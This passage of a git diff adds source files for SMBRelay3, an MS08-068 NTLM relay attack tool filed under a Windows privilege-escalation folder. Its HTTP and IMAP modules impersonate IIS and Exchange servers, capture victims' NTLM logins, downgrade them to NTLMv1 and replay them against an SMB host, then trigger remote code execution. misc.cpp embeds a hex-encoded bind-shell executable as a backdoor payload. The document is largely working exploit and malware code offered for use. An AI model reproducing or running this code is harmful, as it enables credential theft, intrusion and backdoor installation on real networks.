You have been owned by Smbrelay3"; + + memset(request,'\0',sizeof(request)); + total=ReadRequest(relay,(char*)&request,sizeof(request)); + if (total<=0) return(1); + printf("[+] Reading Initial HTTP Request...\r"); + CleanLine(verbose); + if (verbose){ + printf("\n"); + if (debug) { + printf("\n%s\n",request); + } + } + do { + + printf("[+] Sending Default HTTP 401 Error response and asking for authentiation NTLM\r"); + CleanLine(verbose); + send(relay->source,InitialResponse,(int)strlen(InitialResponse),0); + + memset(request,'\0',sizeof(request)); + total=ReadRequest(relay,(char*)&request,sizeof(request)); + if (total<=0) return(1); + CleanLine(verbose); + printf("[+] Reading Second HTTP Request with Auhorization Header..\r"); + header=ParseHeaders(request,&nheaders); + data=GetHeaderValue(header, nheaders, "Authorization: NTLM ") ; + if (!data) { + if (verbose) printf("\n"); + if (debug) { + CleanLine(verbose); + printf("[+] Ooops! Authorization header missing\n"); + printf("%s\n",request); + return(0); + } + } else { + if (verbose) printf("\n%s\n",request); + } + } while (!data); + + if (verbose) { + CleanLine(verbose); + printf("[+] Authorization header received.\n"); + if (debug) { + printf("%s\n",data); + } + } + + if (!ProxySMB) + { + CleanLine(verbose); + printf("[+] Init HTTP to SMB attack - Connecting with: %s:%i\r",destinationhostname,destinationport); + i=ConnectToRemoteHost(relay,destinationhostname,destinationport); + if (!i) { + CleanLine(verbose); + printf("[-] Unable to connect to remote host %s:%i\r",destinationhostname,destinationport); + return(0); + } + if (verbose) printf("\n"); + printf("Sending SMB Authentication Handshake \r"); + p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i); + p = AddDialect(p,"LANMAN1.0", 0x02,&i); + p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i); + p = AddDialect(p,"LM1.2X002", 0x02,&i); + p = AddDialect(p,"LANMAN2.1", 0x02,&i); + p = AddDialect(p,"NT LM 0.12", 0x02,&i); + NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i); + free(p); + i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(NegotiateProtocol); + + if (i<=0){ + printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed \n"); + return(0); + + } + memset(buf,'\0',sizeof(buf)); + + SmbPacket1=BuildSmbPacket1(); + if (debug) { + printf("\n[*]Dumping SMB Packet With NTLM Message Type 1 \n"); + DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1)); + } + + SmbPacket2=GetSmbPacket2(relay,SmbPacket1); + if (SmbPacket2==NULL) { + printf("Unable to receive SMB Packet with NTLM Message Type 2 \n"); + return(0); + } + printf("Received SMB Message with NTLM v2 packet\n"); + memcpy((char*)&packetlen,GetNTLMPacketFromSmbPacket(SmbPacket2)-4,2); + + if (debug) { + printf("SMB Packet Dump:\n"); + DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2)); + printf("NTLM Challenge packet from SMB message\n"); + DumpMem((char*)GetNTLMPacketFromSmbPacket(SmbPacket2),packetlen); + + + } + if (verbose) + { + printf("[+] Debug Information \n"); + dumpAuthChallenge(0,(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2)); + } + //HACK: Force NTLMv1 + ((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0x0000b207; + //((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0xA0003287; + to64frombits((unsigned char*)&buf1, (unsigned char*)GetNTLMPacketFromSmbPacket(SmbPacket2), packetlen); + } else { + //TODO: Generar paquete Auth Challenge + //BuildAuthChallenge((tSmbNtlmAuthChallenge *)buf, "SMBRELAY3","SERVERNAME", "SERVER","SERVER",0,(uint8*)&SpoofedChallengeKey); + //to64frombits((unsigned char*)&buf1, (unsigned char*)buf,NtlmChallengeSize((tSmbNtlmAuthChallenge *)buf)); + } + + + + sprintf(buf,"HTTP/1.1 401 Access Denied\r\nServer: Microsoft-IIS/6.0\r\nWWW-Authenticate: NTLM %s\r\nContent-Length: 0\r\nContent-Type: text/html\r\n\r\n",buf1); + + printf("Sending NTLM Challenge from SMB Server to the HTTP Client\n"); + if (verbose) + { + printf("Sending HTTP Response: %s\n",buf); + } + send(relay->source,buf,(int)strlen(buf),0); + + total=ReadRequest(relay,(char*)&request,sizeof(request)); + if (total<=0) { + printf("Error reading Final Authentication packet from HTTP Client\n"); + return(1); + } + printf("Received Final Authentication packet from remote HTTP Client\n"); + if(verbose) + { + printf("%s\n",request); + } + header=ParseHeaders(request,&nheaders); + data=GetHeaderValue(header, nheaders, "Authorization: NTLM ") ; + if (!data) { + printf("Ooops! Authorization header missing\n"); + return(0); + } + +// printf("lenght del hash3 ntlm: %i\n",strlen(data)); + memset((char*)&buf1,'\0',sizeof(buf1)); + packetlen=from64tobits(buf1, data); + if (verbose) { + if (debug) + { + printf("Raw authorization packet (len: %i)\n",packetlen); + DumpMem(buf1,packetlen+10); + } + dumpAuthResponse(0,(tSmbNtlmAuthResponse*)buf1); + } + if ( ((tSmbNtlmAuthResponse*)buf1)->ntResponse.len != 24 ) + { + printf("[-] Remote HTTP Client forced NTLMv2 Authentication\n"); + strcpy(request,"HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"); + send(relay->source,request,(int)strlen(request),0); + return(0); + } + + + GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose); + printf("Trying to authenticate to remote SMB as %s\n",CurrentUserName); +//A1 + //DumpMem(buf1,packetlen); + + buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2),(tSmbNtlmAuthResponse*)buf2,0,CurrentUserName,NULL,NULL,CurrentWorkstation, (tSmbNtlmAuthResponse*)buf1); + + + SmbPacket3=BuildSmbPacket((smheader*)SmbPacket2,SESSIONSETUPANDX,0,buf2,(int)SmbLength((tSmbNtlmAuthResponse *)buf2)); + + printf("Sending Final SMB Authentication packet with NTLM Message type 3 \r"); + if (verbose) printf("\n"); + if (debug) + { + DumpMem((char*)SmbPacket3, SmbPacketLen(SmbPacket3)); + } + + i=SendBytesAndWaitForResponse(relay->destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + if (i<=0){ + printf("[-] Error reading Server Authentication Response \n"); + return(0); + + } + if (debug) { + printf("[-] SessionSetupAndX Completed - Dumping received packet \n"); + DumpMem(buf,i); + } + + if (((smheader*)buf)->NtStatus!=0x00000000) { + strcpy(request,"HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"); + send(relay->source,request,(int)strlen(request),0); + printf("[-] SessionSetupAndX Completed. Authentication Failed \n"); + return(0); + } + + //WriteDataToReportFile("log.txt", (tSmbNtlmAuthResponse*)buf1, destinationhostname,(unsigned char*)((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->challengeData); + + printf("SessionSetupAndX Completed. Authenticacion against %s Succeed as %s\r",destinationhostname,CurrentUserName); + if (verbose) + { + printf("\n"); + sprintf(owned,"smbrelay III

Dear %s\\%s

Your credentials were replayed against %s and code execution succeed",CurrentWorkstation,CurrentUserName,destinationhostname); + //GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose); + } + + sprintf(request,"HTTP/1.1 200 OK\r\nContent-Length: %i\r\nConnection: close\r\n\r\n%s",strlen(owned),owned); + send(relay->source,request,(int)strlen(request),0); + ExecuteCode( *relay); + return(1); + +} +int ReadRequest(RELAY *relay, char *request, int requestsize) +{ + int leido=0; + int total=0; + int EndOfRequest=0; + do + { + leido=recv( relay->source,request+total,requestsize-total,0 ); + total+=leido; + EndOfRequest=(strcmp(request+total-4,"\r\n\r\n")==0); + } while ( (!EndOfRequest) && (leido>0) ); + return(total); + +} +/******************************/ +char **ParseHeaders(char *lpBuffer, unsigned int *nheaders) +{ + char *next; + char *current=lpBuffer; + char **header; + + header=NULL; + *nheaders=0; + + if ( (!lpBuffer) ||(*lpBuffer=='\0') ) + { + *nheaders=0; + return(NULL); + } + do { + + next=strchr(current,'\n'); + header=(char **)realloc(header,sizeof(char*)*(*nheaders+1)); + if (next) { + next[0]='\0'; + if (*(next-1)=='\r') *(next-1)='\0'; + } + header[*nheaders]=current; + *nheaders=*nheaders+1; + if (!next) break; + current=next+1; + } while ((*current!='\r') && (*current!='\n') ); + return(header); +} +/******************************/ +char *GetHeaderValue(char **header, int nheaders, char *Header) +{ + + + for(unsigned int i=1;i<(unsigned int)nheaders;i++) + { + if (_strnicmp(header[i],Header,strlen(Header))==0) + { + return(header[i] + strlen(Header)); + } + } + return(NULL); + +} + diff --git a/97-Windows提权/MS08-068/src/httprelay.h b/97-Windows提权/MS08-068/src/httprelay.h new file mode 100644 index 0000000..e5a86cd --- /dev/null +++ b/97-Windows提权/MS08-068/src/httprelay.h @@ -0,0 +1,14 @@ +#ifndef _HTTPRELAY_H_ +#define _HTTPRELAY_H_ + +#include "smbrelay.h" + +//HTTP Functions +int HandleIncommingHTTPRequest(RELAY *relay, char *destinationhostname, int destinationport); +int ReadRequest(RELAY *relay, char *request, int requestsize); +char **ParseHeaders(char *lpBuffer, unsigned int *nheaders); +char *GetHeaderValue(char **header, int nheaders, char *Header) ; + +#endif + + diff --git a/97-Windows提权/MS08-068/src/imaprelay.cpp b/97-Windows提权/MS08-068/src/imaprelay.cpp new file mode 100644 index 0000000..c74cf49 --- /dev/null +++ b/97-Windows提权/MS08-068/src/imaprelay.cpp @@ -0,0 +1,209 @@ +/* + SMBRelay3 - IMAP REPLAY ATTACK MODULE + ------------------------------------- + + +*/ + + +#include "imaprelay.h" +#include "payload.h" + +extern int verbose; + +int HandleIncommingIMAPRequest(RELAY *relay, char *destinationhostname, int destinationport) +{ + char buffer[4096]; + char buf[4096]; + char buf1[4096]; + char buf2[4096]; + + char CurrentUserName[256]; + char CurrentDomain[256]; + char CurrentWorkstation[256]; + smheader *SmbPacket1, *SmbPacket2, *SmbPacket3, *NegotiateProtocol; + tSmbNtlmAuthRequest *request; + + uint16 packetlen; + int i; + char *p; + char opt[5]; + const char WelcomeMessage[]= "* OK Microsoft Exchange Server 2007 IMAP4 service ready\r\n"; + + // #define ERROR "-ERR The specified authentication package is not supported.\r\n" + //#define CAPA "* CAPABILITY IMAP4 IMAP4rev1 IDLE LITERAL+ AUTH=NTLM\r\n0000 OK CAPABILITY completed.\r\n" + + + //#define AUTH "+OK The operation completed successfully.\r\nNTLM\r\n.\r\n" + #define AUTHOK "0001 OK AUTHENTICATE NTLM completed.\r\n" + #define AUTHERROR "0001 ERROR AUTHENTICATE NTLM Failed.\r\n" + + + printf("[+] Sending IMAP Banner\n"); + i=SendBytesAndWaitForResponse(relay->source,(char*)WelcomeMessage, (int)strlen(WelcomeMessage), buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0){ + printf("Error Reading IMAP Client message\n"); + return(0); + } + + if (memcmp(buffer+4," CAPABILITY",11)==0) { + printf("[+] CAPABILITY Request from client\n"); + memcpy(opt,buffer,4); opt[4]='\0'; + sprintf(buffer,"* CAPABILITY IMAP4 IMAP4rev1 IDLE LITERAL+ AUTH=NTLM\r\n%s OK CAPABILITY completed.\r\n",opt); + i=SendBytesAndWaitForResponse(relay->source,buffer, strlen(buffer), buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0) return(0); + buffer[i]='\0'; + } + + + if (memcmp(buffer+4," AUTHENTICATE NTLM",18)!=0) { + printf("[-] Not supported option %s received\n",buffer); + i=SendBytesAndWaitForResponse(relay->source,(char*)AUTHERROR, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT); + return(0); + } + if (strlen(buffer)>24){ + printf("[+] received AUTH NTLM message\n"); + memset((char*)&buf1,'\0',sizeof(buf1)); + packetlen=from64tobits(buf1, buffer+22); + request=(tSmbNtlmAuthRequest *)buf1; + dumpAuthRequest(0,request); + } else { + memset(buffer,'\0',sizeof(buffer)); + i=SendBytesAndWaitForResponse(relay->source,"+\r\n", 3, buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0){ + printf("[-] Error Auth response with NTLM type1 packet\n"); + return(0); + } + buffer[i]='\0'; + printf("[+] received AUTH NTLM message\n"); + memset((char*)&buf1,'\0',sizeof(buf1)); + packetlen=from64tobits(buf1, buffer); + request=(tSmbNtlmAuthRequest *)buf1; + + if (debug) { + printf("[+] received AUTH NTLM message: %s\n",buffer); + DumpMem(buf1,packetlen); + dumpAuthRequest(0,request); + } + } + + + //Init Replay Attack + i=ConnectToRemoteHost(relay,destinationhostname,destinationport); + if (!i) { + printf("[-] Unable to connect to remote host %s:%i\n",destinationhostname,destinationport); + return(0); + } + printf("[+] Sending SMB Protocol Authentication Handshake\n"); + p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i); + p = AddDialect(p,"LANMAN1.0", 0x02,&i); + p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i); + p = AddDialect(p,"LM1.2X002", 0x02,&i); + p = AddDialect(p,"LANMAN2.1", 0x02,&i); + p = AddDialect(p,"NT LM 0.12", 0x02,&i); + NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i); + free(p); + i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(NegotiateProtocol); + if (i<=0){ + printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed\n"); + return(0); + } + + SmbPacket1=BuildSmbPacket1(); + if (debug) { + printf("\n[+] Dumping SMB Packet With NTLM Message Type 1\n"); + DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1)); + } + + SmbPacket2=GetSmbPacket2(relay,SmbPacket1); + if (SmbPacket2==NULL) { + printf("[-] Unable to receive SMB Packet with NTLM Message Type 2\n"); + return(0); + } + printf("[+] Received SMB Message with NTLM message type 2 packet\n"); + memcpy((char*)&packetlen,GetNTLMPacketFromSmbPacket(SmbPacket2)-4,2); + + if (debug) { + printf("[*] SMB Packet Dump:\n"); + DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2)); + printf("[*] NTLM Challenge packet from SMB message\n"); + DumpMem((char*)GetNTLMPacketFromSmbPacket(SmbPacket2),packetlen); + dumpAuthChallenge(0,(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2)); + } + + ((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0xb207; + memset(buf1,'\0',sizeof(buf1)); + to64frombits((unsigned char*)&buf1, (unsigned char*)GetNTLMPacketFromSmbPacket(SmbPacket2), packetlen); + sprintf(buf,"+ %s\r\n",buf1); + + printf("[+] Replaying NTLM Challenge from SMB Server to the IMAP Client\n"); + if (debug) + { + printf("[+] Sending SMTP Response: %s\n",buf); + } + i=SendBytesAndWaitForResponse(relay->source,(char*)buf,(int)strlen(buf),(char*)buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0) + { + printf("[-] Unable to read NTLM packet 3 from IMAP client\n"); + return(0); + } + buffer[i]='\0'; + + if (debug) printf("[*] Response: %s\n",buffer); + memset((char*)buf1,'\0',sizeof(buf1)); + packetlen=from64tobits(buf1, buffer); + if (debug) { + + printf("[*] Raw authorization packet (len: %i)\n",packetlen); + DumpMem(buf1,packetlen); + dumpAuthResponse(0,(tSmbNtlmAuthResponse*)buf1); + } + + + GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose); + printf("[+] Trying to authenticate to remote SMB as %s\n",CurrentUserName); + buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2),(tSmbNtlmAuthResponse*)buf2,0,CurrentUserName,NULL,NULL,CurrentWorkstation, (tSmbNtlmAuthResponse*)buf1); + SmbPacket3=BuildSmbPacket((smheader*)SmbPacket2,SESSIONSETUPANDX,0,buf2,(int)SmbLength((tSmbNtlmAuthResponse *)buf2)); + + + printf("[+] Sending Final SMB Authentication packet with NTLM Message type 3\n"); + if (debug) + { + DumpMem((char*)SmbPacket3, SmbPacketLen(SmbPacket3)); + } + + i=SendBytesAndWaitForResponse(relay->destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + if (i<=0){ + printf("[-] Error reading Server Authentication Response\n"); + i=SendBytesAndWaitForResponse(relay->source,AUTHERROR, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT); + return(0); + } + if (debug) { + printf("[*] SessionSetupAndX Completed - Dumping received packet\n"); + DumpMem(buf,i); + } + + if (((smheader*)buf)->NtStatus!=0x00000000) { + printf("[-] SessionSetupAndX Completed\n[-] Authentication against Remote Host Failed\n"); + i=SendBytesAndWaitForResponse(relay->source,AUTHOK, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT); + return(0); + } + if ( ((SessionSetupAndXResponse*)((smheader*)buf)->buffer)->Action & 0x0001 ) + { + printf("[-] Authentication against Remote Host Failed. (Connected as Guest)\n"); + i=SendBytesAndWaitForResponse(relay->source,AUTHERROR, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT); + + return(0); + } + + //WriteDataToReportFile("log.txt", (tSmbNtlmAuthResponse*)buf1, destinationhostname,(unsigned char*)((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->challengeData); + + printf("[+] SessionSetupAndX Completed \n"); + printf("[+] Authenticacion against %s Succeed with username %s\n",destinationhostname,CurrentUserName); + i=SendBytesAndWaitForResponse(relay->source,AUTHOK, strlen(AUTHOK), buffer,sizeof(buffer),SMBWAITTIMEOUT); + ExecuteCode( *relay); + + return(1); + +} diff --git a/97-Windows提权/MS08-068/src/imaprelay.h b/97-Windows提权/MS08-068/src/imaprelay.h new file mode 100644 index 0000000..57af92a --- /dev/null +++ b/97-Windows提权/MS08-068/src/imaprelay.h @@ -0,0 +1,9 @@ +#ifndef _IMAP_RELAY_ +#define _IMAP_RELAY_ + +#include "smbrelay.h" + +int HandleIncommingIMAPRequest(RELAY *relay, char *destinationhostname,int destinationport); + +#endif + diff --git a/97-Windows提权/MS08-068/src/misc.cpp b/97-Windows提权/MS08-068/src/misc.cpp new file mode 100644 index 0000000..8194268 --- /dev/null +++ b/97-Windows提权/MS08-068/src/misc.cpp @@ -0,0 +1,415 @@ +/* + Misc data manipulation functions for Smbrelay + Andres Tarasco +*/ +#include "misc.h" +#include "smbrelay.h" + +extern int verbose; +void DumpMem(void* string, int length) { + + unsigned char *p = (unsigned char *) string; + unsigned char lastrow_data[16]; + int rows = length / DBG_DUMP_ROWS; + int lastrow = length % DBG_DUMP_ROWS; + int i, j; + //int k = DBG_DUMP_ROWS - lastrow ; + + for (i = 0; i < rows; i++) { + printf("%04hx: ", i * 16); + for (j = 0; j < DBG_DUMP_ROWS; j++) { + printf("%02x ", p[(i * 16) + j]); + if ( j==7 ){ + printf(" "); + } + } + printf(" [ "); + for (j = 0; j < DBG_DUMP_ROWS; j++) { + if (isprint(p[(i * 16) + j])) + printf("%c", p[(i * 16) + j]); + else + printf("."); + } + printf(" ]\n"); + } + if (lastrow > 0) { + memset(lastrow_data, 0, sizeof(lastrow_data)); + memcpy(lastrow_data, p + length - lastrow, lastrow); + printf("%04hx: ", i * 16); + for (j = 0; j < lastrow; j++) { + printf("%02x ", p[(i * 16) + j]); + if ( (j % 8 == 1) && (j!=1) ) + printf(" "); + } + while(j < DBG_DUMP_ROWS) { + printf(" "); + if (j % 8 == 1) + printf(" "); + j++; + } + //while (k!=0) { --k; printf(" "); } + printf(" [ "); + for (j = 0; j < lastrow; j++) { + if (isprint(p[(i * 16) + j])) + printf("%c", p[(i * 16) + j]); + else + printf("."); + } + while(j < DBG_DUMP_ROWS) { + printf(" "); + j++; + } + //k = DBG_DUMP_ROWS - lastrow ; + //while (k!=0) { --k; printf(" "); } + printf(" ]\n"); + } + printf("\n"); + +} + + + + +char *ReadFileToSend(int *BackdoorFileSize,char*lpBackdoorFile) +{ + unsigned char SMRS[2048] = { // Smbrelay Shell Service ( 2kb BindShell ) + 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, + 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x00, 0x00, 0x00, + 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, + 0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, + 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, + 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2F, 0xB0, 0x55, 0xC4, 0x6B, 0xD1, 0x3B, 0x97, 0x6B, 0xD1, 0x3B, 0x97, 0x6B, 0xD1, 0x3B, 0x97, + 0x4C, 0x17, 0x46, 0x97, 0x6A, 0xD1, 0x3B, 0x97, 0x6B, 0xD1, 0x3A, 0x97, 0x6C, 0xD1, 0x3B, 0x97, + 0xA8, 0xDE, 0x66, 0x97, 0x6E, 0xD1, 0x3B, 0x97, 0x4C, 0x17, 0x55, 0x97, 0x6A, 0xD1, 0x3B, 0x97, + 0x4C, 0x17, 0x43, 0x97, 0x6A, 0xD1, 0x3B, 0x97, 0x52, 0x69, 0x63, 0x68, 0x6B, 0xD1, 0x3B, 0x97, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x02, 0x00, 0x3E, 0x48, 0xFF, 0x47, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x03, 0x01, 0x0B, 0x01, 0x08, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x30, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x04, + 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x5C, 0x20, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, + 0x4B, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, + 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 